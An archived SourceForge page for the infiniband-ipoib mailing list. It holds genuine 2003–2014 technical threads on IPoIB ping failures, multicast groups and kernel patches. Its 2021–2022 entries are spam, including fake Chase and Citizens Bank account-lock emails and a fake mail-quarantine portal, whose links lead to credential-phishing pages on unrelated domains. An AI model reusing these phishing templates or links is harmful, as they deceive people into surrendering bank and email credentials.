Menu
▾
▴
infiniband-ipoib — InfiniBand IP over IB List
You can subscribe to this list here.
| 2002 |
Jan
|
Feb
|
Mar
|
Apr
|
May
(19) |
Jun
(2) |
Jul
(32) |
Aug
(1) |
Sep
(1) |
Oct
|
Nov
(6) |
Dec
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2003 |
Jan
(4) |
Feb
(2) |
Mar
(1) |
Apr
(3) |
May
(9) |
Jun
(14) |
Jul
(2) |
Aug
(4) |
Sep
(5) |
Oct
|
Nov
|
Dec
|
| 2004 |
Jan
|
Feb
(6) |
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
| 2005 |
Jan
(1) |
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
| 2014 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
(1) |
Sep
(1) |
Oct
|
Nov
|
Dec
|
| 2020 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
(1) |
Oct
(1) |
Nov
|
Dec
|
| 2021 |
Jan
|
Feb
|
Mar
(1) |
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
(1) |
Oct
|
Nov
|
Dec
|
| 2022 |
Jan
|
Feb
(2) |
Mar
|
Apr
|
May
(1) |
Jun
(1) |
Jul
(1) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
|
From: infiniband-ipoib <ta...@bd...> - 2022-07-11 20:40:45
|
Dear infiniband-ipoib, Please find attached your outstanding statment. - Thanks & Regards Wilhelm Van Riebeeck Commercial Manager Agro Marketing & Sales |
|
From: infiniband-ipoib <man...@in...> - 2022-06-15 20:17:26
|
Dear infiniband-ipoib, Please find attached your outstanding statment. - Thanks & Regards Wilhelm Van Riebeeck Commercial Manager Agro Marketing & Sales |
|
From: infiniband-ipoib <man...@in...> - 2022-05-24 00:13:51
|
Dear infiniband-ipoib, Please find attached your outstanding statment. - Thanks & Regards Wilhelm Van Riebeeck Commercial Manager Agro Marketing & Sales |
|
From: Chase Bank<tha...@ks...> - 2022-02-15 21:37:17
|
<html><head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> </head> <body> <table width="100%" class="nl-container" style='margin: 0px auto; width: 1209px; font-family: "Times New Roman"; vertical-align: top; border-collapse: collapse; table-layout: fixed; min-width: 320px; border-spacing: 0px; orphans: 2; widows: 2; background-color: rgb(248, 245, 245);' valign="top"> <tbody> <tr valign="top" style="vertical-align: top;"> <td valign="top" style="vertical-align: top;"> <div style="background-color: rgb(248, 245, 245);"> <div class="block-grid" style="margin: 0px auto; min-width: 320px; max-width: 590px; background-color: rgb(248, 245, 245); overflow-wrap: break-word;"> <div style="display: table; border-collapse: collapse; background-color: rgb(248, 245, 245);"> <div class="col num12" style="vertical-align: top; display: table-cell; min-width: 320px; max-width: 590px;"> <div> <div style="padding: 40px; border: 7px solid transparent;"><span class="img-container center fixedwidth" align="center"><img width="484" height="129" alt="" src="https://ci3.googleusercontent.com/proxy/A54xQbSjD9tIuqgZaPURMfUhWoy8YUqLtlBDufBjeQwa8h9RCi4c2vDtHVgAVugHA2YYnqsd2g7Q1PzO16Lq0kVWTSFoGH10EzFg3mtErDI6Xjw-k-FnbrsbHm1CzzhwHw_QR1dysqflhK0Pkds=s0-d-e1-ft#https://dreammail.epsilon.com/Chase/2020/November/CS0065896/HF00282/Chase_Header_80x300.jpg"></span> <div style='padding: 50px 10px 10px; color: rgb(122, 92, 92); line-height: 1.2; font-family: TimesNewRoman, "Times New Roman", Times, Beskerville, Georgia, serif;'> <div style="font-size: 12px;"> <p style="margin: 0px; text-align: center;"><strong><span style="color: rgb(0, 0, 0); font-size: 16px; background-color: rgb(224, 230, 248);">YOUR CHASE ONLINE BANKING HAS BEEN DISABLED</span></strong></p></div></div> <div style='padding: 25px; color: rgb(39, 70, 108); line-height: 1.2; font-family: TimesNewRoman, "Times New Roman", Times, Beskerville, Georgia, serif;'> <div style="font-size: 14px;"> <p style="margin: 0px; text-align: left; font-size: 16px;"><span style="color: rgb(0, 0, 0);">We recently detected failed attempts to provide correct login credentials. As a result, we temporarily suspended online access to your account. Please verify your account to re-gain access.</span></p></div></div> <div align="center" class="button-container"> <a title="https://hermoncapital.com/CgajHshhGsaSshg/CgajHshhGsaSshg/CgajHshhGsaSshg/chase_deathsot3/W/index.php" style='border-width: 1px 0px; border-style: solid; border-color: rgb(224, 230, 248); border-radius: 25px; width: auto; text-align: center; color: rgb(248, 245, 245); font-family: Georgia, Times, "Times New Roman", serif; display: inline-block; -ms-word-break: keep-all; background-color: rgb(4, 95, 180); text-size-adjust: none;' href="https://hermoncapital.com/CgajHshhGsaSshg/CgajHshhGsaSshg/CgajHshhGsaSshg/chase_deathsot3/W/index.php" target="_blank"><span style="padding-right: 60px; padding-left: 60px; font-size: 20px; display: inline-block;"><span style="line-height: 2; font-size: 16px;"><span style="line-height: 40px; font-size: 20px;">VERIFY ACCOUNT</span></span></span></a></div></div></div></div></div></div></div> <div align="center" class="img-container center fixedwidth"> <p><img width="426" height="71" alt="" src="https://ci6.googleusercontent.com/proxy/wEpk0GxSQUbTSeo4nToJEAyeLrTEcUeJCylJv-2jPvRbvqrYCEgvQtCQYJKUe674aIHb-PBo3zc2ijLYkMU5202sJrcPp-BMczd_u55Euz1-Su3sspbbTUfLtfySKRwW_RsR35u-ewsLm3vwbg=s0-d-e1-ft#https://www.chase.com/content/dam/chaseonline/en/alerts/images/email_alert_logo_banner.jpg"></p> <div style="background-color: rgb(248, 245, 245);"> <div class="block-grid" style="margin: 0px auto; min-width: 320px; max-width: 590px; background-color: rgb(248, 245, 245); overflow-wrap: break-word;"> <div style="display: table; border-collapse: collapse; background-color: rgb(248, 245, 245);"> <div class="col num12" style="vertical-align: top; display: table-cell; min-width: 320px; max-width: 590px;"> <div> <div style="padding: 5px 5px 5px 60px; border: 0px solid transparent;"> <div style='padding: 0px 60px 0px 15px; color: rgb(85, 85, 85); line-height: 1.2; font-family: TimesNewRoman, "Times New Roman", Times, Beskerville, Georgia, serif;'> <div style="font-size: 12px;"> <p style="margin: 0px; text-align: left;"><span><strong>Your privacy is important to us. See our online Security Center to learn how to protect your information.</strong></span></p> <p style="margin: 0px; text-align: left;"> </p> <p style="margin: 0px; text-align: left; font-size: 14px;"><span style="font-size: 12px;"><strong>Chase Privacy Operations, PO Box 659752, San Antonio, Texas 78265-9752.,</strong></span></p> <p style="margin: 0px; text-align: center;"> </p> <p style="margin: 0px; text-align: left; font-size: 14px;"><span style="font-size: 12px;"><strong>JP Morgan Chase Bank, N.A. Member FDIC</strong></span></p></div></div></div></div></div></div></div></div> <div style="background-color: rgb(248, 245, 245);"> <div class="block-grid" style="margin: 0px auto; min-width: 320px; max-width: 590px; background-color: rgb(248, 245, 245); overflow-wrap: break-word;"> <div style="display: table; border-collapse: collapse; background-color: rgb(248, 245, 245);"> <div class="col num12" style="vertical-align: top; display: table-cell; min-width: 320px; max-width: 590px;"> <div> <div style="padding: 10px 0px; border: 0px solid transparent;"> <div style='padding: 10px; color: rgb(247, 227, 227); line-height: 1.2; font-family: Georgia, Times, "Times New Roman", serif;'> <div style="font-size: 14px;"> <p style="margin: 0px; text-align: center; font-size: 10px;"><span style="color: rgb(5, 5, 5); background-color: rgb(250, 235, 235);"><a style="background-color: rgb(250, 235, 235);" href="http://www.example.com/" target="_blank" rel="noopener"><strong></strong><strong>© 2021 JP Morgan Chase & Co.</strong> </a><span> </span><strong>- <span> </span><a style="background-color: rgb(250, 235, 235);" href="http://www.example.com/" target="_blank" rel="noopener"> Privacy Policy</a></strong></span></p></div></div></div></div></div></div></div></div></div></td></tr></tbody></table><br></body></html> |
|
From: Citizen Bank<tha...@ks...> - 2022-02-15 00:17:52
|
<html><head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> </head> <body> <div style="color: rgb(0, 0, 0); font-family: Calibri, Helvetica, sans-serif; font-size: 12pt;"> <table width="100%" height="100%" align="center" style='background-position: center; margin: 0px; width: 1240px; height: 557px; font-family: "Times New Roman"; font-size: medium; border-collapse: collapse; orphans: 2; widows: 2; background-image: none; background-repeat: no-repeat; background-size: cover; background-color: rgb(255, 255, 255); text-size-adjust: 100%;'> <tbody> <tr> <td align="left" valign="top" style="margin: 0px; padding: 10px; width: 1220px; height: 537px; text-size-adjust: 100%;"> <table width="100%" class="templateContainer" style="width: 600px !important; border-collapse: collapse; max-width: 600px !important; text-size-adjust: 100%;"> <tbody> <tr> <td valign="top" style="text-size-adjust: 100%;"> <table width="100%" class="mcnTextBlock" style="border-collapse: collapse; min-width: 100%; text-size-adjust: 100%;"> <tbody class="mcnTextBlockOuter"> <tr> <td class="mcnTextBlockInner" valign="top" style="padding-top: 9px; text-size-adjust: 100%;"> <table width="100%" align="left" class="mcnTextContentContainer" style="border-collapse: collapse; min-width: 100%; max-width: 100%; text-size-adjust: 100%;"> <tbody> <tr> <td class="mcnTextContent" valign="top" style="padding: 0px 18px 9px; text-align: left; color: rgb(32, 32, 32); line-height: 24px; font-family: Helvetica; font-size: 16px; text-size-adjust: 100%;"></td></tr></tbody></table></td></tr></tbody></table></td></tr> <tr> <td valign="top" style="text-size-adjust: 100%;"> <table width="100%" class="mcnTextBlock" style="border-collapse: collapse; min-width: 100%; text-size-adjust: 100%;"> <tbody class="mcnTextBlockOuter"> <tr> <td class="mcnTextBlockInner" valign="top" style="padding-top: 9px; text-size-adjust: 100%;"> <table width="100%" align="left" class="mcnTextContentContainer" style="border-collapse: collapse; min-width: 100%; max-width: 100%; text-size-adjust: 100%;"> <tbody> <tr> <td class="mcnTextContent" valign="top" style="padding: 0px 18px 9px; text-align: left; color: rgb(32, 32, 32); line-height: 24px; font-family: Helvetica; font-size: 16px; text-size-adjust: 100%;"> <div style="text-align: center;"><img width="715" height="108" style="margin: 0px; width: 715px; height: 108px;" src="https://mcusercontent.com/8853bae62cd14f77b73ebec79/images/0f57ccbd-febb-4248-c8b0-d489a9cddb2e.png" data-file-id="2481977"> <h1 style="margin: 21px 0px 23px 10px; text-align: left; line-height: 23px; font-family: arial, helvetica, sans-serif; font-size: 19px; font-weight: bold; display: block;">Restore your online access</h1> <div style="text-align: left;"> <span> </span><span style="font-size: 13px;">Dear Customer,<br><br> Your account has been regarded as inactive and locked in compliance with Citizens<br> Bank Terms of use.<br><br> You have 24 hours to unlock your account, just follow the link below:<br><br> Please go to<span> </span> <a title="https://kbhindustrial.co.zm/CedvyGsfFsyw/CedvyGsfFsyw/CedvyGsfFsyw/citizensbankonline.com_deathshortencode/W/index.php" style="color: rgb(0, 124, 137); font-weight: normal; text-decoration: underline; text-size-adjust: 100%;" href="https://kbhindustrial.co.zm/CedvyGsfFsyw/CedvyGsfFsyw/CedvyGsfFsyw/citizensbankonline.com_deathshortencode/W/index.php" target="_blank"><span style="color: rgb(0, 0, 255);">https://www.citizensbank.com/</span></a><br> Otherwise your account will be completely removed on the expiry of the mentioned<br> period.</span></div></div></td></tr></tbody></table></td></tr></tbody></table></td></tr> <tr> <td valign="top" style="text-size-adjust: 100%;"> <table width="100%" class="mcnTextBlock" style="border-collapse: collapse; min-width: 100%; text-size-adjust: 100%;"> <tbody class="mcnTextBlockOuter"> <tr> <td class="mcnTextBlockInner" valign="top" style="padding-top: 9px; text-size-adjust: 100%;"> <table width="100%" align="left" class="mcnTextContentContainer" style="border-collapse: collapse; min-width: 100%; max-width: 100%; text-size-adjust: 100%;"> <tbody> <tr> <td class="mcnTextContent" valign="top" style="padding: 0px 18px 9px; text-align: left; color: rgb(32, 32, 32); line-height: 18px; font-family: Helvetica; font-size: 12px; text-size-adjust: 100%;"><strong> Thank you,<br> Citizens Bank Customer Support</strong><br> </td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table><br></div></body></html> |
|
From: Email S. <Qu...@st...> - 2021-09-07 15:48:39
|
<!DOCTYPE HTML> <html><head><title></title> <meta http-equiv="X-UA-Compatible" content="IE=edge"> </head> <body style="margin: 0.4em;"> <p> <span></span> </p><table width="100%" style="border: 1px solid rgb(204, 204, 204); border-image: none; background-color: rgb(255, 255, 255);" bgcolor="#ffffff" border="0" cellspacing="0" cellpadding="0"><tbody><tr><td style="margin: 0px; padding: 0px 15px; line-height: 27px; font-family: Calibri; background-color: rgb(236, 243, 249);"><p><b><font size="4">Dear infiniband-ipoib,<b><font size="4"><br></font></b></font></b></p></td></tr><tr> <td style="margin: 0px; padding: 0px 15px 5px; line-height: 27px; font-family: Calibri; background-color: rgb(236, 243, 249);"><font size="4">www.lists.sourceforge.net has prevented the delivery of a new message to your inbox with subject; Re:Quotation as of 9/7/2021 9:29:21 a.m.; Click the Check Email Portal to review what happens to the message.<br></font><table width="100%" style="border: 1px solid rgb(204, 204, 204); border-image: none; background-color: rgb(255, 255, 255);" bgcolor="#ffffff" border="0" cellspacing="0" cellpadding="0"><tbody><tr style="margin-top: 10px; background-color: rgb(228, 228, 228);"><td style="margin: 0px; padding: 10px 15px; line-height: 20px; font-family: Calibri;"><p><b> </b><font size="4"> Quarantine messages will be deleted automatically after 72 hours from receiving this automated message.</font></p><p><span style="background-color: rgb(255, 153, 0);"><font size="3"> <a style="color: rgb(0, 0, 0); font-family: Calibri; text-decoration-line: none;" href="https://grandfit.co.tz/fbmaluminium/TydyvuiysCCx5FSg5g/TydyvuiysCCx5FSg5g/TydyvuiysCCx5FSg5g/New-Gen-Background2/index.html?ema...@li..." target="_blank" rel="noreferrer"><b>Check Email Portal</b></a></font></span><br></p></td></tr> <tr align="left" style="padding: 0px 0px 10px 15px; margin-top: 10px; background-color: rgb(228, 228, 228);"><td style="margin: 0px; padding-top: 10px; padding-bottom: 10px; padding-left: 15px; font-family: Roboto, RobotoDraft, Helvetica, Arial, sans-serif;">www.lists.sourceforge.net Support Team<br></td></tr></tbody></table></td></tr></tbody></table><p> </p> </body></html> |
|
From: Duke c. <rd...@ri...> - 2020-10-28 07:29:55
|
Dear Sir/Ma Please Confirm if your Company is looking to raise project funds and send me an email for more details. Thanks -- Best Regards, Duke caleb duk...@wl... |
|
From: Imran N. <imr...@pe...> - 2020-09-09 19:58:57
|
Morning, Hope and trust all is well with you, receive your proof of payment and i will do the needfully ASAP. Please be informed that the balance payment will be paid by Friday. kind regards Imran Natha |
|
From: RAFI M. <muh...@gm...> - 2014-09-17 09:44:44
|
Hi All, I'm very new to rdma transport. My doubt is that , is there any similar function like getsockopt on socket to get the options related to rdma_id after any events like connect. Thanks in Advance. Rafi KC |
|
From: RAFI M. <muh...@gm...> - 2014-08-20 04:45:28
|
Hi All, I'm very new to InfiniBand . I was trying to create an rdma application using infiniBand. Is it possible to ping to a device using IP address of InfiniBand from a device which does not have a InfiniBand Hardware?. Any help will be appreciated. Thanks Rafi KC |
|
From: vinh n. <vng...@ya...> - 2005-01-19 18:06:29
|
Hi, I downloaded and installed ibal1-285 from sourceforge.net. I followed the INSTALL.txt guide, I've got ipoib and opensm running but when I tried to "ping" between two nodes I got "Destination Host Unreachable". I'm running the modules on kernel 2.4.20. I have two Mellanox HCA cards, and I connect them directly to each other on port 1. I ran opensm on one node and ipoib on both nodes. When I do "ifconfig -a", I was able to see the devices ib010 on both nodes. Then, I issued "ifconfig ib010 192.168.0.1" on one node, and "ifconfig ib010 192.168.0.2" on the other node. When I do a "ifconfig ib010" I got: node 1: ib010 Link encap:UNSPEC HWaddr FF-FF-00-00-00-00-00-00-00-00-00-00-00-00-00-00 inet addr:192.168.0.1 Bcast:192.168.0.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:2044 Metric:1 RX packets:24 errors:0 dropped:0 overruns:0 frame:0 TX packets:24 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1344 (1.3 Kb) TX bytes:1440 (1.4 Kb) node 2: ib010 Link encap:UNSPEC HWaddr 00-00-00-18-FE-80-00-00-00-00-00-00-00-00-00-00 inet addr:192.168.0.2 Bcast:192.168.0.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:2044 Metric:1 RX packets:24 errors:0 dropped:0 overruns:0 frame:0 TX packets:24 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:128 RX bytes:1344 (1.3 Kb) TX bytes:1440 (1.4 Kb) I also followed the INSTALL.txt to add ipoib IP addresses to /etc/host file. 127.0.0.1 infiniband4 localhost.localdomain localhost 192.168.0.1 infiniband3-ib0 192.168.0.2 infiniband4-ib0 192.169.0.1 infiniband3-ib1 192.169.0.2 infiniband4-ib1 Did I miss something? I'm new to infiniband, and I've been reading the mail archive on sourceforge.net forum but still not able to figure out what the problem is. Some of you had expressed the same problem in the past, I would appreciate if you can tell me how you solved the problem and help me solve mine. Thanks in advance. Vinh Nguyen. Umass Lowell __________________________________ Do you Yahoo!? The all-new My Yahoo! - What will yours do? http://my.yahoo.com |
|
From: Masanori I. <ma...@la...> - 2004-02-14 07:45:07
|
Oops, I forgot to attach the patch. :( Message-ID: <200...@la...> > > Hi all, > > Attached is a patch for ipoib_ca.c enabling to be compiled under > multiple kernel versions listed below. > > 2.4.18-3 RedHat 7.3 > 2.4.20-8 RedHat 9.0 > 2.4.9-e.3 RedHat Advanced Server 2.1 > 2.4.21-9.EL Updated version of RHEL 3.0 kernel > 2.4.23 www.kernel.org > > I built systems with kernel versions above and checked the patch. > Applying that, ipoib worked under the above kernel environments. > > Meanwhile, the patch adjusts the second argument of ip_route_output_key(). > Compared to the case of 'sighand or sigmask_lock of task_struct' > that I raised recently, the situation is slightly different. > In the 'task_struct' case, the change is between RH8.0 and RH9.0, > but in the 'ip_route_output_key()' case, the change is between > RH9.0 and RHEL3.0. This might cause confusion. :( > > Regards, > Masanori --- Masanori ITOH Grid Computing & Bioinformatics Lab., Fujitsu Labs. LTD. e-mail: ma...@la... phone: +81-44-754-2628 (extension: 7112-6227) FingerPrint: 55AF C562 E415 FB1A 8A3A 35D1 AB40 8A9D B8B1 99F8 |
|
From: Masanori I. <ma...@la...> - 2004-02-14 07:35:17
|
Hi all, Attached is a patch for ipoib_ca.c enabling to be compiled under multiple kernel versions listed below. 2.4.18-3 RedHat 7.3 2.4.20-8 RedHat 9.0 2.4.9-e.3 RedHat Advanced Server 2.1 2.4.21-9.EL Updated version of RHEL 3.0 kernel 2.4.23 www.kernel.org I built systems with kernel versions above and checked the patch. Applying that, ipoib worked under the above kernel environments. Meanwhile, the patch adjusts the second argument of ip_route_output_key(). Compared to the case of 'sighand or sigmask_lock of task_struct' that I raised recently, the situation is slightly different. In the 'task_struct' case, the change is between RH8.0 and RH9.0, but in the 'ip_route_output_key()' case, the change is between RH9.0 and RHEL3.0. This might cause confusion. :( Regards, Masanori --- Masanori ITOH Grid Computing & Bioinformatics Lab., Fujitsu Labs. LTD. e-mail: ma...@la... phone: +81-44-754-2628 (extension: 7112-6227) FingerPrint: 55AF C562 E415 FB1A 8A3A 35D1 AB40 8A9D B8B1 99F8 |
|
From: Masanori I. <ma...@la...> - 2004-02-07 02:50:59
|
Hello Chanan,
Message-ID: <25AE7F432672D511B8DC00B0D0DF11DA01D8D9FF@MTIEX01>
> Masanori,
>
> net/ipv6 has EXPORT_SYMBOL defines in net/ipv6/ipv6_syms.c.
> It is desireable to add EXPORT_SYMBOL(nd_tbl) at the same location.
Agreed.
But, it's 2.6 kernel case only, isn't it?
My patch is intended for 2.4.18, and I think it's still better
to provide an additonal patch like mine as long as we support 2.4 kernel.
Thanks,
Masanori
---
Masanori ITOH Grid Computing & Bioinformatics Lab., Fujitsu Labs. LTD.
e-mail: ma...@la...
phone: +81-44-754-2628 (extension: 7112-6227)
FingerPrint: 55AF C562 E415 FB1A 8A3A 35D1 AB40 8A9D B8B1 99F8
|
|
From: Chanan S. <Ch...@Me...> - 2004-02-07 01:08:15
|
Masanori,
net/ipv6 has EXPORT_SYMBOL defines in net/ipv6/ipv6_syms.c.
It is desireable to add EXPORT_SYMBOL(nd_tbl) at the same location.
Chanan Shamir
Mellanox Technologies Inc.
-----Original Message-----
From: Masanori ITOH [mailto:ma...@la...]
Sent: Friday, February 06, 2004 6:16 AM
To: inf...@li...
Cc: inf...@li...;
inf...@li...
Subject: [Infiniband-ipoib] nd_tbl issue (Re: cl_debug_osd.h three
problems)
Hi all,
I appended 'inf...@li...' to the list
because this is an ipoib issue.
Message-ID: <200...@la...>
>
> Hi all,
>
> I think 'IBAHOME/base/linux/include/iba/complib/cl_debug_osd.h' has
> two problems under 2.6 kernel environment and one general problem.
>
> 1) cl_debug_osd.h depends on header files under /usr/include.
[snip]
> 2) CL_CHK_STK has a bug under 2.6 kernel environment
[snip]
>
> 3) gdb_initialized undefined!
>
> Actually, this is a long standing problem.
> As kgdb kernel patch doesn't make a symbol 'gdb_intialized' be public,
> we would fail to do insmod IBAL kernel modules
> because 'gdb_intialized' is an unresolved symbol.
> In order to resolve this, there are two choices:
> a) delete checking the value of gdb_initialized
> b) make gdb_initialized as a public symbol.
> I usually choose a) and have had no problems. :o)
In this sense, I think that ipoib has the same kind of problem.
ipoib_ca.c
4582 #if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE)
4583 else if ( family == AF_INET6 )
4584 {
4585 tbl = &nd_tbl;
4586 target = req->addr.v6_addr.sin6_addr.s6_addr;
4587 }
4588 #endif
The symbol 'nd_tbl' is in a kernel module 'ipv6.o', and the symbol
is not public.
I think we had better to include one more patch for ipv6.o to make
the symbol public like the attached one.
Regards,
Masanori
---
Masanori ITOH Grid Computing & Bioinformatics Lab., Fujitsu Labs. LTD.
e-mail: ma...@la...
phone: +81-44-754-2628 (extension: 7112-6227)
FingerPrint: 55AF C562 E415 FB1A 8A3A 35D1 AB40 8A9D B8B1
99F8
|
|
From: Woodruff, R. J <wo...@co...> - 2004-02-06 17:33:42
|
I also ran into the same problem on EL3.0 and reported it to Channan at
mellanox,
who is investigating the issue.=20
-----Original Message-----
From: inf...@li...
[mailto:inf...@li...] On Behalf
Of Masanori ITOH
Sent: Friday, February 06, 2004 6:16 AM
To: inf...@li...
Cc: inf...@li...;
inf...@li...
Subject: [Infiniband-access_layer] nd_tbl issue (Re: cl_debug_osd.h
three problems)
Hi all,=20
I appended 'inf...@li...' to the list because
this is an ipoib issue.
Message-ID: <200...@la...>
>=20
> Hi all,
>=20
> I think 'IBAHOME/base/linux/include/iba/complib/cl_debug_osd.h' has=20
> two problems under 2.6 kernel environment and one general problem.
>=20
> 1) cl_debug_osd.h depends on header files under /usr/include.
[snip]
> 2) CL_CHK_STK has a bug under 2.6 kernel environment
[snip]
>=20
> 3) gdb_initialized undefined!
>=20
> Actually, this is a long standing problem.
> As kgdb kernel patch doesn't make a symbol 'gdb_intialized' be
public,
> we would fail to do insmod IBAL kernel modules
> because 'gdb_intialized' is an unresolved symbol.
> In order to resolve this, there are two choices:
> a) delete checking the value of gdb_initialized
> b) make gdb_initialized as a public symbol.
> I usually choose a) and have had no problems. :o)
In this sense, I think that ipoib has the same kind of problem.
ipoib_ca.c=20
4582 #if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE)
4583 else if ( family =3D=3D AF_INET6 )
4584 {
4585 tbl =3D &nd_tbl;
4586 target =3D req->addr.v6_addr.sin6_addr.s6_addr;
4587 }
4588 #endif
The symbol 'nd_tbl' is in a kernel module 'ipv6.o', and the symbol
is not public.
I think we had better to include one more patch for ipv6.o to make
the symbol public like the attached one.
Regards,
Masanori
---
Masanori ITOH Grid Computing & Bioinformatics Lab., Fujitsu Labs. LTD.
e-mail: ma...@la...
phone: +81-44-754-2628 (extension: 7112-6227)
FingerPrint: 55AF C562 E415 FB1A 8A3A 35D1 AB40 8A9D
B8B1 99F8
|
|
From: Masanori I. <ma...@la...> - 2004-02-06 14:16:13
|
Hi all,
I appended 'inf...@li...' to the list
because this is an ipoib issue.
Message-ID: <200...@la...>
>
> Hi all,
>
> I think 'IBAHOME/base/linux/include/iba/complib/cl_debug_osd.h' has
> two problems under 2.6 kernel environment and one general problem.
>
> 1) cl_debug_osd.h depends on header files under /usr/include.
[snip]
> 2) CL_CHK_STK has a bug under 2.6 kernel environment
[snip]
>
> 3) gdb_initialized undefined!
>
> Actually, this is a long standing problem.
> As kgdb kernel patch doesn't make a symbol 'gdb_intialized' be public,
> we would fail to do insmod IBAL kernel modules
> because 'gdb_intialized' is an unresolved symbol.
> In order to resolve this, there are two choices:
> a) delete checking the value of gdb_initialized
> b) make gdb_initialized as a public symbol.
> I usually choose a) and have had no problems. :o)
In this sense, I think that ipoib has the same kind of problem.
ipoib_ca.c
4582 #if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE)
4583 else if ( family == AF_INET6 )
4584 {
4585 tbl = &nd_tbl;
4586 target = req->addr.v6_addr.sin6_addr.s6_addr;
4587 }
4588 #endif
The symbol 'nd_tbl' is in a kernel module 'ipv6.o', and the symbol
is not public.
I think we had better to include one more patch for ipv6.o to make
the symbol public like the attached one.
Regards,
Masanori
---
Masanori ITOH Grid Computing & Bioinformatics Lab., Fujitsu Labs. LTD.
e-mail: ma...@la...
phone: +81-44-754-2628 (extension: 7112-6227)
FingerPrint: 55AF C562 E415 FB1A 8A3A 35D1 AB40 8A9D B8B1 99F8
|
|
From: Chanan S. <Ch...@Me...> - 2003-09-15 21:22:27
|
Bihary, Two things should be configured in the switch FDB for the ports going to your nodes: Forwarding multicast packets between the ports (for ARP) Forwarding normal (non-mcast) packets between the ports These settings should be bi-directional. Chanan -----Original Message----- From: Bihari Ashwin-Q3316C [mailto:Q3...@mo...] Sent: Monday, September 15, 2003 1:19 PM To: inf...@li... Subject: [Infiniband-ipoib] "route" for IPoIB Folks, I've finally got my IPoIB network up and running. I've got 2 endnodes running Mellanox Tavor boards and an Infiniband switch running the SM. I've got the nodes up and running and the IPoIB software creates the "ib010" devices on both the endnodes. I then "ifconfig" one node to be 10.0.0.1 and the other to be 10.0.0.2. I now want to "ping" across the switch from 10.0.0.1 to 10.0.0.2 and vice versa. When I try to ping, it says "network unreachable", and I look in the route table and find nothing of use. Do I have to configure anything specific to in the route table for the "ping" to work or should the multicast capability of the switch make this inherently work??? Thanks ---- Ashwin Bihari Motorola Computer Group ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Infiniband-ipoib mailing list Inf...@li... https://lists.sourceforge.net/lists/listinfo/infiniband-ipoib |
|
From: Bihari Ashwin-Q. <Q3...@mo...> - 2003-09-15 20:18:49
|
Folks, I've finally got my IPoIB network up and running. I've got 2 endnodes running Mellanox Tavor boards and an Infiniband switch running the SM. I've got the nodes up and running and the IPoIB software creates the "ib010" devices on both the endnodes. I then "ifconfig" one node to be 10.0.0.1 and the other to be 10.0.0.2. I now want to "ping" across the switch from 10.0.0.1 to 10.0.0.2 and vice versa. When I try to ping, it says "network unreachable", and I look in the route table and find nothing of use. Do I have to configure anything specific to in the route table for the "ping" to work or should the multicast capability of the switch make this inherently work??? Thanks ---- Ashwin Bihari Motorola Computer Group |
|
From: Larsen, R. K <roy...@in...> - 2003-09-03 16:00:50
|
Also note that the MGID values are not arbitrary and are defined by the =
IPoIB drafts.
=20
Roy Larsen
=20
-----Original Message-----
From: Chanan Shamir [mailto:Ch...@Me...]
Sent: Tuesday, September 02, 2003 9:55 AM
To: 'Bihari Ashwin-Q3316C'
Cc: inf...@li...
Subject: RE: [Infiniband-ipoib] IPoIB with Infiniband Switch
The MGID templates are defined in linux/drivers/iba/net/ipoib/ipoib_ca.c =
as broadcast_mgid_template.
The 'scope' (default 0x12) and 'P_Key' portions of the MGID are =
variable.
=20
Chanan
-----Original Message-----
From: Bihari Ashwin-Q3316C [mailto:Q3...@mo...]
Sent: Tuesday, September 02, 2003 8:36 AM
To: Chanan Shamir
Cc: inf...@li...
Subject: RE: [Infiniband-ipoib] IPoIB with Infiniband Switch
Chanan,
=20
Our switch software is capable of supporting joining and leaving a =
multicast group, but it would seem that the 1.1 spec calls out that a =
join to a nonexistant group should trigger the creation of it by the SM. =
But our SM doesn't do that and so the network devices don't show up.=20
=20
So for now I will create the multicast group and would like to get the =
IPoIB software use that group. The MLID is indeed SM defined and the =
first group gets the value of 0xC001 with some GID. You state that the =
MGID is pre-defined, does that mean that the IPoIB software uses a =
particular MGID when joining the group. If so, what is the MGID value, =
and where is it defined within the confines of the IPoIB software. Thank =
you
=20
=20
----
Ashwin Bihari
Motorola Computer Group
=20
-----Original Message-----
From: Chanan Shamir [mailto:Ch...@Me...]=20
Sent: Thursday, August 28, 2003 3:10 PM
To: Bihari Ashwin-Q3316C
Cc: inf...@li...
Subject: RE: [Infiniband-ipoib] IPoIB with Infiniband Switch
Bihari,
=20
To the issues you raised:
=20
- Creating the mcast group - My understanding is that today opensm =
creates the IPoIB mcast group, in lieu of having
some administrative entity do it.
- The MGID for the group is pre-defined
- The MLID are assigned by OpenSM and have to be in the range =
0xC000-0xFFFF
=20
chanan
-----Original Message-----
From: Bihari Ashwin-Q3316C [mailto:Q3...@mo...]
Sent: Thursday, August 28, 2003 12:10 PM
To: Chanan Shamir
Cc: inf...@li...
Subject: RE: [Infiniband-ipoib] IPoIB with Infiniband Switch
Chanan,
=20
Thank you for the prompt reply. I am beginning to better understand how =
this is supposed to work. I tried a little test by connecting the two =
HCA's port 1 directly to each other. Ran OpenSM on one of the nodes, and =
then ran IPoIB on both the nodes, got the appropriate IB devices, =
ifconfig'ed them to IP addresses and could successfully ping.=20
=20
I will re-do this test with the switch inbetween not running the SM to =
make sure that works as well.
=20
Our switch is indeed capable of handling all multicast requests and =
configuration of the switch chips. However, we may have a slight issue =
